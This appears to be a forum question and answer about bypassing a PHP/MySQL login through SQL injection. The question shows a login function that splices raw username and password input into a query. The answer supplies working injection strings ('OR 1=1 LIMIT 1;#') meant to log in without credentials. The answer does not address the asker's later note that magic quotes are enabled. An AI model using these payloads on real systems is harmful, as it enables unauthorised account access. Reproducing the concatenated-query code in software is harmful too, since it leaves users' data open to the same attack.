how to inject sql in login process

Question

I've received an old application which completely lacks user input sanitization and is vulnerable to sql injection. To prove gravity of the situation i need to give client an example and what can be better to scare him than the login process. I've tried standard techniques but the problem with them is that they return multiple rows and due to nature of the code it returns an error instead of logging him in. What sql should i inject so that only a single row is returned and the execution reaches "return $access" line in order to pass the value of this "access" column to code calling this login function. The request is made via POST method and magic quotes are off on the server. Please let me know if you need any other information.

function login($username, $pw)
{
    global $dbname, $connection, $sqluser, $sqlpw;
    $db = mysql_connect($connection,$sqluser,$sqlpw); 
    mysql_select_db($dbname);
    if(!($dba = mysql_query("select * from users where username = '$username' AND password = '$pw'"))){
        printf("%s", sprintf("internal error5 %d:%s\n", mysql_errno(), mysql_error()));
        exit();
    }
    $row = mysql_fetch_array($dba);
    $access = $row['access'];
    if ($access != ''){
     return $access;
    } else {
        return "error occured";
    }
    mysql_close ($db);
}

Note: it turns out that magic_quotes_gpc is turned on and the php version is 5.2.17

Thanks

Answer 1

Starting with the goal query:

SELECT   *
FROM     users
WHERE    username = '' OR '1'='1' 
AND      password = '' OR 1=1 LIMIT 1;#'

We get username is ' OR '1'='1 and password is ' OR 1=1 LIMIT 1;#